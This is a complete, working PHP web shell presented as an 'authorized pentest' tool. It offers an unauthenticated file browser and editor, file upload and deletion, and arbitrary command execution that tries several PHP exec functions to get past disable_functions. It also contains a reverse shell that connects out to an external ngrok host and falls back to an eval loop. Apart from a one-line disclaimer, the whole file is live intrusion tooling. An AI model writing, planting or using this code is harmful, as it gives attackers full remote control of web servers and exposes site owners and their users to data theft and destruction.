<?php
/**
 * Authorized pentest only — minimal file browser + editor + command runner.
 * Upload only on in-scope targets with written permission.
 */
declare(strict_types=1);

$base = isset($_GET['d']) ? (string) $_GET['d'] : (getcwd() ?: '/');
$base = realpath($base) ?: $base;
if (!is_dir($base)) {
    $base = dirname($base) ?: '/';
}

function h(string $s): string
{
    return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

function ok_callable(string $fn): bool
{
    static $disabled;
    if ($disabled === null) {
        $disabled = array_filter(array_map('trim', explode(',', (string) ini_get('disable_functions'))));
    }
    return !in_array($fn, $disabled, true) && function_exists($fn) && is_callable($fn);
}

function php_reverse_shell(string $host, int $port): never
{
    set_time_limit(0);
    ignore_user_abort(true);
    $sock = @fsockopen($host, $port, $errno, $errstr, 20);
    if (!is_resource($sock)) {
        header('Content-Type: text/plain; charset=utf-8');
        echo "connect failed: $errstr ($errno)\n";
        exit;
    }
    fwrite($sock, "[+] connected from " . ($_SERVER['SERVER_NAME'] ?? 'web') . "\n");
    $descriptors = [0 => $sock, 1 => $sock, 2 => $sock];
    $proc = @proc_open('/bin/sh -i', $descriptors, $pipes, null, null);
    if (!is_resource($proc)) {
        $proc = @proc_open('bash -i', $descriptors, $pipes, null, null);
    }
    if (is_resource($proc)) {
        proc_close($proc);
        fclose($sock);
        exit;
    }

    fwrite($sock, "[*] proc_open blocked — PHP fsock shell (line=PHP, =expr, exit)\n");
    stream_set_blocking($sock, true);
    stream_set_timeout($sock, 0);
    while (!feof($sock)) {
        $line = fgets($sock, 65536);
        if ($line === false) {
            break;
        }
        $line = rtrim($line, "\r\n");
        if ($line === 'exit' || $line === 'quit') {
            break;
        }
        if ($line === '') {
            continue;
        }
        ob_start();
        try {
            if (str_starts_with($line, '=')) {
                $val = eval('return (' . substr($line, 1) . ');');
                var_export($val);
                echo "\n";
            } else {
                eval($line);
            }
        } catch (Throwable $e) {
            echo 'ERR: ' . $e->getMessage() . "\n";
        }
        $out = (string) ob_get_clean();
        fwrite($sock, $out !== '' ? $out : "(ok)\n");
    }
    fclose($sock);
    exit;
}

function run_cmd(string $cmd): string
{
    $cmd = trim($cmd);
    if ($cmd === '') {
        return '';
    }
    $wrapped = '/bin/sh -c ' . escapeshellarg($cmd);

    if (ok_callable('shell_exec')) {
        $out = shell_exec($wrapped);
        if ($out !== null && $out !== '') {
            return $out;
        }
    }
    if (ok_callable('exec')) {
        $lines = [];
        $last = exec($wrapped, $lines, $code);
        $out = implode("\n", $lines);
        if ($out !== '') {
            return $out . ($code ? "\n[exit $code]" : '');
        }
        if ($last !== false && $last !== '') {
            return $last;
        }
    }
    if (ok_callable('proc_open')) {
        $desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
        $p = proc_open($wrapped, $desc, $pipes);
        if (is_resource($p)) {
            fclose($pipes[0]);
            $out = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($p);
            if ($out !== '') {
                return $out;
            }
        }
    }
    if (ok_callable('passthru') || ok_callable('system')) {
        ob_start();
        if (ok_callable('passthru')) {
            passthru($wrapped);
        } else {
            system($wrapped);
        }
        $out = (string) ob_get_clean();
        if ($out !== '') {
            return $out;
        }
    }
    return "No output (exec blocked or empty).\ndisable_functions=" . ini_get('disable_functions') . "\nopen_basedir=" . ini_get('open_basedir') . "\n";
}

$msg = '';
$editFile = isset($_GET['f']) ? (string) $_GET['f'] : '';

// POST actions
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';

    if ($action === 'cmd') {
        header('Content-Type: text/plain; charset=utf-8');
        echo run_cmd((string) ($_POST['cmd'] ?? ''));
        exit;
    }

    if ($action === 'rev') {
        $host = (string) ($_POST['host'] ?? '');
        $port = (int) ($_POST['port'] ?? 0);
        if ($host !== '' && $port > 0) {
            php_reverse_shell($host, $port);
        }
    }

    if ($action === 'save' && isset($_POST['path'], $_POST['content'])) {
        $path = (string) $_POST['path'];
        if (is_file($path) && is_writable($path)) {
            file_put_contents($path, (string) $_POST['content']) !== false
                ? $msg = 'Saved: ' . $path
                : $msg = 'Save failed.';
        } else {
            $msg = 'Not writable or missing.';
        }
    }

    if ($action === 'delete' && isset($_POST['path'])) {
        $path = (string) $_POST['path'];
        if (is_file($path)) {
            @unlink($path) ? $msg = 'Deleted file.' : $msg = 'Delete failed.';
        } elseif (is_dir($path)) {
            @rmdir($path) ? $msg = 'Removed empty dir.' : $msg = 'Rmdir failed (not empty?).';
        }
    }

    if ($action === 'mkdir' && isset($_POST['name'])) {
        $name = basename((string) $_POST['name']);
        $new = $base . DIRECTORY_SEPARATOR . $name;
        @mkdir($new, 0755) ? $msg = 'Created dir.' : $msg = 'Mkdir failed.';
    }

    if ($action === 'upload' && isset($_FILES['up']) && is_uploaded_file($_FILES['up']['tmp_name'])) {
        $dest = $base . DIRECTORY_SEPARATOR . basename((string) $_FILES['up']['name']);
        @move_uploaded_file($_FILES['up']['tmp_name'], $dest)
            ? $msg = 'Uploaded.'
            : $msg = 'Upload failed.';
    }
}

if (isset($_GET['info'])) {
    header('Content-Type: text/plain; charset=utf-8');
    echo 'disable_functions=' . ini_get('disable_functions') . "\n";
    echo 'open_basedir=' . ini_get('open_basedir') . "\n";
    echo 'cwd=' . getcwd() . "\n";
    echo 'user=' . (function_exists('get_current_user') ? get_current_user() : '?') . "\n";
    exit;
}

if (isset($_GET['rev'])) {
    $host = (string) $_GET['rev'];
    $port = isset($_GET['port']) ? (int) $_GET['port'] : 4444;
    if ($host !== '' && $port > 0 && $port < 65536) {
        php_reverse_shell($host, $port);
    }
}

$parent = dirname($base);
$entries = @scandir($base) ?: [];
sort($entries);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Shell</title>
<style>
body{font-family:system-ui,sans-serif;margin:1rem;background:#111;color:#ddd}
a{color:#6cf} table{border-collapse:collapse;width:100%;margin:.5rem 0}
th,td{border:1px solid #333;padding:.35rem .5rem;text-align:left;font-size:14px}
th{background:#222} tr:hover{background:#1a1a1a}
input,textarea,button{font:inherit} textarea{width:100%;min-height:360px;background:#0a0a0a;color:#eee;border:1px solid #444}
.cmd{width:100%;box-sizing:border-box;background:#0a0a0a;color:#eee;border:1px solid #444;padding:.4rem}
pre{background:#0a0a0a;border:1px solid #444;padding:.5rem;overflow:auto;max-height:320px;white-space:pre-wrap}
.msg{color:#9f9}.warn{color:#f96;font-size:13px}
.bar{display:flex;gap:.5rem;flex-wrap:wrap;align-items:center;margin:.5rem 0}
</style>
</head>
<body>
<p class="warn">Authorized testing only. Remove when done.</p>
<?php if ($msg): ?><p class="msg"><?= h($msg) ?></p><?php endif; ?>

<h2>Directory</h2>
<p><a href="?d=<?= h($parent) ?>">↑ Parent</a> — <code><?= h($base) ?></code>
   · <a href="?info=1">info</a></p>

<form method="post" class="bar">
<input type="hidden" name="action" value="mkdir">
<input name="name" placeholder="new folder name" required>
<button type="submit">Mkdir</button>
</form>
<form method="post" enctype="multipart/form-data" class="bar">
<input type="hidden" name="action" value="upload">
<input type="file" name="up" required>
<button type="submit">Upload here</button>
</form>

<table>
<tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>
<?php foreach ($entries as $ent):
    if ($ent === '.') {
        continue;
    }
    $path = $base . DIRECTORY_SEPARATOR . $ent;
    $isDir = is_dir($path);
    $size = $isDir ? '—' : (string) (@filesize($path) ?: 0);
    $perm = substr(sprintf('%o', @fileperms($path) ?: 0), -4);
?>
<tr>
<td><?php if ($isDir): ?>
<a href="?d=<?= h($path) ?>"><?= h($ent) ?>/</a>
<?php else: ?>
<a href="?d=<?= h($base) ?>&amp;f=<?= h($path) ?>"><?= h($ent) ?></a>
<?php endif; ?></td>
<td><?= h($size) ?></td>
<td><?= h($perm) ?></td>
<td>
<?php if (!$isDir): ?>
<form method="post" style="display:inline" onsubmit="return confirm('Delete?');">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="path" value="<?= h($path) ?>">
<button type="submit">Del</button>
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</table>

<h2>Reverse shell (PHP fsockopen — no bash metachars)</h2>
<form method="post" class="bar" target="_blank">
<input type="hidden" name="action" value="rev">
<input name="host" value="2.tcp.eu.ngrok.io" required>
<input name="port" type="number" value="25122" required style="width:6rem">
<button type="submit">Connect rev (blocks request — start nc first)</button>
</form>

<h2>Command</h2>
<div class="bar">
<input class="cmd" id="cmd" type="text" placeholder="id; uname -a; ls -la" autocomplete="off">
<button type="button" id="run">Run (POST)</button>
</div>
<pre id="out">(output)</pre>

<?php if ($editFile !== '' && is_file($editFile)): ?>
<h2>Edit</h2>
<p><code><?= h($editFile) ?></code></p>
<form method="post">
<input type="hidden" name="action" value="save">
<input type="hidden" name="path" value="<?= h($editFile) ?>">
<textarea name="content"><?= h((string) @file_get_contents($editFile)) ?></textarea>
<p><button type="submit">Save</button></p>
</form>
<?php endif; ?>

<script>
document.getElementById('run').onclick = async () => {
  const cmd = document.getElementById('cmd').value;
  const out = document.getElementById('out');
  out.textContent = '…';
  const body = new URLSearchParams({ action: 'cmd', cmd });
  try {
    const r = await fetch(location.pathname + location.search, { method: 'POST', body, credentials: 'same-origin' });
    out.textContent = await r.text();
  } catch (e) {
    out.textContent = String(e);
  }
};
document.getElementById('cmd').addEventListener('keydown', e => {
  if (e.key === 'Enter') document.getElementById('run').click();
});
</script>
</body>
</html>
